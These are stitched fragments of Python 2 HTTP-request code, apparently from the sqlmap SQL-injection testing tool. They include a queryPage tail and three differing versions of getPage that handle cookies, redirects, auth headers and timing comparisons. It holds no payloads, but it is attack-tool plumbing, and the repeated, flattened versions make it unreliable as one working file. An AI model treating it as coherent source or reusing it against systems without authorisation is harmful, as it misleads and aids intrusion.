conf.saFreq == 0: Connect.getPage(url=conf.safUrl, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer) start = time.time() if kb.nullConnection and not content and not response and not timeBasedCompare: if kb.nullConnection == NULLCONNECTION.HEAD: method = HTTPMETHOD.HEAD elif kb.nullConnection == NULLCONNECTION.RANGE: if not auxHeaders: auxHeaders = {} auxHeaders[HTTPHEADER.RANGE] = "bytes=-1" _, headers = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, silent=silent, method=method, auxHeaders=auxHeaders, raise404=raise404) if kb.nullConnection == NULLCONNECTION.HEAD and HTTPHEADER.CONTENT_LENGTH in headers: pageLength = int(headers[HTTPHEADER.CONTENT_LENGTH]) elif kb.nullConnection == NULLCONNECTION.RANGE and HTTPHEADER.CONTENT_RANGE in headers: pageLength = int(headers[HTTPHEADER.CONTENT_RANGE][headers[HTTPHEADER.CONTENT_RANGE].find('/') + 1:]) if not pageLength: page, headers = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, silent=silent, method=method, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) threadData.lastQueryDuration = calculateDeltaSeconds(start) if kb.testMode: kb.testQueryCount += 1 if conf.cj: conf.cj.clear() if timeBasedCompare: return wasLastRequestDelayed() elif noteResponseTime: kb.responseTimes.append(threadData.lastQueryDuration) if content or response: return page, headers page = removeReflectiveValues(page, payload) if getRatioValue: return comparison(page, getRatioValue=False, pageLength=pageLength), comparison(page, getRatioValue=True, pageLength=pageLength) elif pageLength or page: return comparison(page, getRatioValue, pageLength) else: return False
def getPage(**kwargs): """ This method connects to the target url or proxy and returns the target url page content """ if conf.delay != None and isinstance(conf.delay, (int, float)) and conf.delay > 0: time.sleep(conf.delay) url = kwargs.get('url', conf.url).replace(" ", "%20") get = kwargs.get('get', None) post = kwargs.get('post', None) cookie = kwargs.get('cookie', None) ua = kwargs.get('ua', None) direct = kwargs.get('direct', False) multipart = kwargs.get('multipart', False) page = "" cookieStr = "" requestMsg = "HTTP request:\n%s " % conf.method responseMsg = "HTTP response " requestHeaders = "" responseHeaders = "" if re.search("http[s]*://%s" % conf.hostname, url, re.I): requestMsg += "%s" % conf.path or "/" else: requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/" if direct: if "?" in url: url, params = url.split("?") params = urlencode(params).replace("%%", "%") url = "%s?%s" % (url, params) requestMsg += "?%s" % params elif multipart: multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler) conn = multipartOpener.open(url, multipart) page = conn.read() return page else: if conf.parameters.has_key("GET") and not get: get = conf.parameters["GET"] if get: get = urlencode(get).replace("%%", "%") url = "%s?%s" % (url, get) requestMsg += "?%s" % get if conf.method == "POST": if conf.parameters.has_key("POST") and not post: post = conf.parameters["POST"] post = urlencode(post).replace("%%", "%") requestMsg += " HTTP/1.1" if cookie: # TODO: sure about encoding the cookie? #cookie = urlencode(cookie).replace("%%", "%") cookie = cookie.replace("%%", "%") try: # Perform HTTP request headers = forgeHeaders(cookie, ua) req = urllib2.Request(url, post, headers) conn = urllib2.urlopen(req) # Reset the number of connection retries conf.retries = 0 if not req.has_header("Accept-Encoding"): requestHeaders += "\nAccept-Encoding: identity" requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in req.header_items()]) for _, cookie in enumerate(conf.cj): if not cookieStr: cookieStr = "Cookie: " cookie = str(cookie) index = cookie.index(" for ") cookieStr += "%s; " % cookie[8:index] if not req.has_header("Cookie") and cookieStr: requestHeaders += "\n%s" % cookieStr[:-2] if not req.has_header("Connection"): requestHeaders += "\nConnection: close" requestMsg += "\n%s" % requestHeaders if post: requestMsg += "\n%s" % post requestMsg += "\n" logger.log(9, requestMsg) # Get HTTP response page = conn.read() code = conn.code status = conn.msg responseHeaders = conn.info() except urllib2.HTTPError, e: if e.code == 401: exceptionMsg = "not authorized, try to provide right HTTP " exceptionMsg += "authentication type and valid credentials" raise sqlmapConnectionException, exceptionMsg else: page = e.read() code = e.code status = e.msg responseHeaders = e.info()
def getPage(**kwargs): """ This method connects to the target url or proxy and returns the target url page content """ if conf.delay is not None and isinstance(conf.delay, (int, float)) and conf.delay > 0: time.sleep(conf.delay) elif conf.cpuThrottle: cpuThrottle(conf.cpuThrottle) threadData = getCurrentThreadData() threadData.lastRequestUID += 1 # dirty hack because urllib2 just skips the other part of provided url # splitted with space char while urlencoding it in the later phase url = kwargs.get('url', conf.url).replace(" ", "%20") get = kwargs.get('get', None) post = kwargs.get('post', None) method = kwargs.get('method', None) cookie = kwargs.get('cookie', None) ua = kwargs.get('ua', None) referer = kwargs.get('referer', None) direct = kwargs.get('direct', False) multipart = kwargs.get('multipart', False) silent = kwargs.get('silent', False) raise404 = kwargs.get('raise404', True) auxHeaders = kwargs.get('auxHeaders', None) response = kwargs.get('response', False) ignoreTimeout = kwargs.get('ignoreTimeout', False) refreshing = kwargs.get('refreshing', False) page = "" cookieStr = "" requestMsg = "HTTP request [#%d]:\n%s " % (threadData.lastRequestUID, conf.method) requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/" responseMsg = "HTTP response " requestHeaders = "" responseHeaders = None logHeaders = "" try: if silent: socket.setdefaulttimeout(HTTP_SILENT_TIMEOUT) if direct: if "?" in url: url, params = url.split("?") params = urlencode(params) url = "%s?%s" % (url, params) requestMsg += "?%s" % params elif multipart: # Needed in this form because of potential circle dependency # problem (option -> update -> connect -> option) from lib.core.option import proxyHandler multipartOpener = urllib2.build_opener(proxyHandler, multipartpost.MultipartPostHandler) conn = multipartOpener.open(url, multipart) page = conn.read() responseHeaders = conn.info() responseHeaders[URI_HTTP_HEADER] = conn.geturl() page = decodePage(page, responseHeaders.get(HTTPHEADER.CONTENT_ENCODING), responseHeaders.get(HTTPHEADER.CONTENT_TYPE)) return page elif refreshing: # Reference(s): # http://vancouver-webpages.com/META/metatags.detail.html # http://webdesign.about.com/od/metataglibraries/a/aa080300a.htm get = None post = None else: if conf.parameters.has_key(PLACE.GET) and not get: get = conf.parameters[PLACE.GET] if get: url = "%s?%s" % (url, get) requestMsg += "?%s" % get if conf.method == HTTPMETHOD.POST: if conf.parameters.has_key(PLACE.POST) and not post: post = conf.parameters[PLACE.POST] requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str # Perform HTTP request headers = forgeHeaders(cookie, ua, referer) if conf.realTest: headers[HTTPHEADER.REFERER] = "%s://%s" % (conf.scheme, conf.hostname) if kb.authHeader: headers[HTTPHEADER.AUTHORIZATION] = kb.authHeader if kb.proxyAuthHeader: headers[HTTPHEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader if auxHeaders: for key, item in auxHeaders.items(): headers[key] = item for key, item in headers.items(): del headers[key] headers[encodeUnicode(key, kb.pageEncoding)] = encodeUnicode(item, kb.pageEncoding) post = encodeUnicode(post, kb.pageEncoding) if method: req = MethodRequest(url, post, headers) req.set_method(method) else: req = urllib2.Request(url, post, headers) if not conf.dropSetCookie and conf.cj: for _, cookie in enumerate(conf.cj): if not cookieStr: cookieStr = "Cookie: " cookie = getUnicode(cookie) index = cookie.index(" for ") cookieStr += "%s; " % cookie[8:index] if not req.has_header(HTTPHEADER.ACCEPT_ENCODING): requestHeaders += "%s: identity\n" % HTTPHEADER.ACCEPT_ENCODING requestHeaders += "\n".join(["%s: %s" % (header, value) for header, value in req.header_items()]) if not req.has_header(HTTPHEADER.COOKIE) and cookieStr: requestHeaders += "\n%s" % cookieStr[:-2] if not req.has_header(HTTPHEADER.CONNECTION): requestHeaders += "\n%s: close" % HTTPHEADER.CONNECTION requestMsg += "\n%s" % requestHeaders if post: requestMsg += "\n\n%s" % post requestMsg += "\n" logger.log(8, requestMsg) conn = urllib2.urlopen(req) if not kb.authHeader and req.has_header(HTTPHEADER.AUTHORIZATION): kb.authHeader = req.get_header(HTTPHEADER.AUTHORIZATION) if not kb.proxyAuthHeader and req.has_header(HTTPHEADER.PROXY_AUTHORIZATION): kb.proxyAuthHeader = req.get_header(HTTPHEADER.PROXY_AUTHORIZATION) if hasattr(conn, "setcookie"): kb.redirectSetCookie = conn.setcookie if hasattr(conn, "redurl") and hasattr(conn, "redcode") and not conf.redirectHandled and not conf.realTest: msg = "sqlmap got a %d redirect to " % conn.redcode msg += "%s - What target address do you " % conn.redurl msg += "want to use from now on? %s " % conf.url msg += "(default) or provide another target address based " msg += "also on the redirection got from the application\n" while True: choice = readInput(msg, default=None) if not choice: pass else: conf.url = choice try: parseTargetUrl() return Connect.__getPageProxy(**kwargs) except sqlmapSyntaxException: continue break conf.redirectHandled = True # Reset the number of connection retries kb.retriesCount = 0 # Return response object if response: return conn, None # Get HTTP response page = conn.read() code = conn.code responseHeaders = conn.info() responseHeaders[URI_HTTP_HEADER] = conn.geturl() page = decodePage(page, responseHeaders.get(HTTPHEADER.CONTENT_ENCODING), responseHeaders.get(HTTPHEADER.CONTENT_TYPE)) status = getUnicode(conn.msg) if extractRegexResult(META_REFRESH_REGEX, page, re.DOTALL | re.IGNORECASE) and not refreshing: url = extractRegexResult(META_REFRESH_REGEX, page, re.DOTALL | re.IGNORECASE) if url.lower().startswith('http://'): kwargs['url'] = url else: kwargs['url'] = conf.url[:conf.url.rfind('/')+1] + url threadData.lastRedirectMsg = (threadData.lastRequestUID, page) kwargs['refreshing'] = True debugMsg = "got HTML meta refresh header" logger.debug(debugMsg) try: return Connect.__getPageProxy(**kwargs) except sqlmapSyntaxException: pass # Explicit closing of connection object if not conf.keepAlive: try: conn.fp._sock.close() conn.close() except Exception, msg: warnMsg = "problem occured during connection closing ('%s')" % msg logger.warn(warnMsg) except urllib2.HTTPError, e: page = None responseHeaders = None try: page = e.read() responseHeaders = e.info() responseHeaders[URI_HTTP_HEADER] = e.geturl() page = decodePage(page, responseHeaders.get(HTTPHEADER.CONTENT_ENCODING), responseHeaders.get(HTTPHEADER.CONTENT_TYPE)) except socket.timeout: warnMsg = "connection timed out while trying " warnMsg += "to get error page information (%d)" % e.code logger.warn(warnMsg) return None, None except: pass code = e.code threadData.lastHTTPError = (threadData.lastRequestUID, code) if code not in kb.httpErrorCodes: kb.httpErrorCodes[code] = 0 kb.httpErrorCodes[code] += 1 status = getUnicode(e.msg) responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, status) if responseHeaders: logHeaders = "\n".join(["%s: %s" % (key.capitalize() if isinstance(key, basestring) else key, getUnicode(value)) for (key, value) in responseHeaders.items()]) logHTTPTraffic(requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders, page if isinstance(page, unicode) else getUnicode(page))) if conf.verbose <= 5: responseMsg += getUnicode(logHeaders) elif conf.verbose > 5: responseMsg += "%s\n\n%s\n" % (logHeaders, page) logger.log(7, responseMsg) if e.code == 401: errMsg = "not authorized, try to provide right HTTP " errMsg += "authentication type and valid credentials (%d)" % code raise sqlmapConnectionException, errMsg elif e.code == 404 and raise404: errMsg = "page not found (%d)" % code raise sqlmapConnectionException, errMsg else: debugMsg = "got HTTP error code: %d (%s)" % (code, status) logger.debug(debugMsg) page = processResponse(page, responseHeaders) return page, responseHeaders
def getPage(**kwargs): """ This method connects to the target url or proxy and returns the target url page content """ if conf.delay is not None and isinstance(conf.delay, (int, float)) and conf.delay > 0: time.sleep(conf.delay) url = kwargs.get('url', conf.url).replace(" ", "%20") get = kwargs.get('get', None) post = kwargs.get('post', None) cookie = kwargs.get('cookie', None) ua = kwargs.get('ua', None) direct = kwargs.get('direct', False) multipart = kwargs.get('multipart', False) silent = kwargs.get('silent', False) raise404 = kwargs.get('raise404', True) page = "" cookieStr = "" requestMsg = "HTTP request:\n%s " % conf.method requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/" responseMsg = "HTTP response " requestHeaders = "" responseHeaders = "" try: if silent: socket.setdefaulttimeout(3) if direct: if "?" in url: url, params = url.split("?") params = urlencode(params) url = "%s?%s" % (url, params) requestMsg += "?%s" % params elif multipart: #needed in this form because of potential circle dependency problem (option -> update -> connect -> option) from lib.core.option import proxyHandler multipartOpener = urllib2.build_opener(proxyHandler, multipartpost.MultipartPostHandler) conn = multipartOpener.open(url, multipart) page = conn.read() responseHeaders = conn.info() encoding = responseHeaders.get("Content-Encoding") page = decodePage(page, encoding) return page else: if conf.parameters.has_key("GET") and not get: get = conf.parameters["GET"] if get: get = urlencode(get) url = "%s?%s" % (url, get) requestMsg += "?%s" % get if conf.method == "POST": if conf.parameters.has_key("POST") and not post: post = conf.parameters["POST"] requestMsg += " HTTP/1.1" # Perform HTTP request headers = forgeHeaders(cookie, ua) req = urllib2.Request(url, post, headers) conn = urllib2.urlopen(req) # Reset the number of connection retries conf.retriesCount = 0 if not req.has_header("Accept-Encoding"): requestHeaders += "\nAccept-Encoding: identity" requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in req.header_items()]) if not conf.dropSetCookie: for _, cookie in enumerate(conf.cj): if not cookieStr: cookieStr = "Cookie: " cookie = str(cookie) index = cookie.index(" for ") cookieStr += "%s; " % cookie[8:index] if not req.has_header("Cookie") and cookieStr: requestHeaders += "\n%s" % cookieStr[:-2] if not req.has_header("Connection"): requestHeaders += "\nConnection: close" requestMsg += "\n%s" % requestHeaders if post: requestMsg += "\n%s" % post requestMsg += "\n" logger.log(9, requestMsg) # Get HTTP response page = conn.read() code = conn.code status = conn.msg responseHeaders = conn.info() encoding = responseHeaders.get("Content-Encoding") page = decodePage(page, encoding) except urllib2.HTTPError, e: if e.code == 401: exceptionMsg = "not authorized, try to provide right HTTP " exceptionMsg += "authentication type and valid credentials" raise sqlmapConnectionException, exceptionMsg elif e.code == 404 and raise404: exceptionMsg = "page not found" raise sqlmapConnectionException, exceptionMsg else: page = e.read() code = e.code status = e.msg responseHeaders = e.info() debugMsg = "got HTTP error code: %d" % code logger.debug(debugMsg)